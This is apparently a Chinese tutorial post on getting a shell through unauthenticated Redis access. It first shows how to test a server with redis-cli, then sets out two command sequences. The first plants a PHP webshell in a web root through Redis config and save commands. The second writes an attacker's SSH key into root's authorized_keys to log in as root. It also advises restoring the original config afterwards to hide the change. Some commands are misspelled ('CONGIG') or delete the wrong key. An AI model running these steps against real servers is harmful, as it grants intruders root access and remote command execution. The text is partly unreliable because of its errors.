redis未授权访问漏洞那拿SHELL

一、什么是redis未授权访问漏洞：

1、redis是一种文档型数据库，快速高效，存储在内存中，定期才会写磁盘。主要用于快速缓存，数据转存处理等。默认redis开在6379端口，可以直接访问。并不需要任何认证信息，由此带来了巨大的安全隐患。

2、如何验证redis未授权访问是否开启：

 #使用kali或者任何linux系统安装redis-cli
 redis-cli -h target_ip
 #成功即说明未授权访问。

3、未授权访问如何拿到shell呢，这里讲解redis服务器开在linux上的情况。

（1）写webshell：

条件：有web服务器，根目录已知

 CONFIG SET dir /path/www/html     # 修改备份目录
 CONGIG SET dbfilename trojan.php  # 修改备份文件名为我们的shell名
 SET trojan "<?php system($_GET['cmd']);?>"
 BGSAVE
 DEL payload
 CONFIG SET dir /usr/local/redis
 CONGIG SET dbfilename dump.rdb
 #最好使用CONFIG GET 看看原来啥样就回复成啥样
   

（2）写公钥ssh登录

 cd /root/.ssh/
 ssh-keygen -t rsa
 /root/.ssh/id_rsa
 vim /root/.ssh/id_rsa.pub #==== >public key
 config set dir /root/.ssh/
 config set dbfilename authorized_keys
 set x "public_key"
 save
 del x
 config set dir /usr/local/redis
 config set dbfilename dump.rdb
 ssh -i ./id_rsa root@target_ip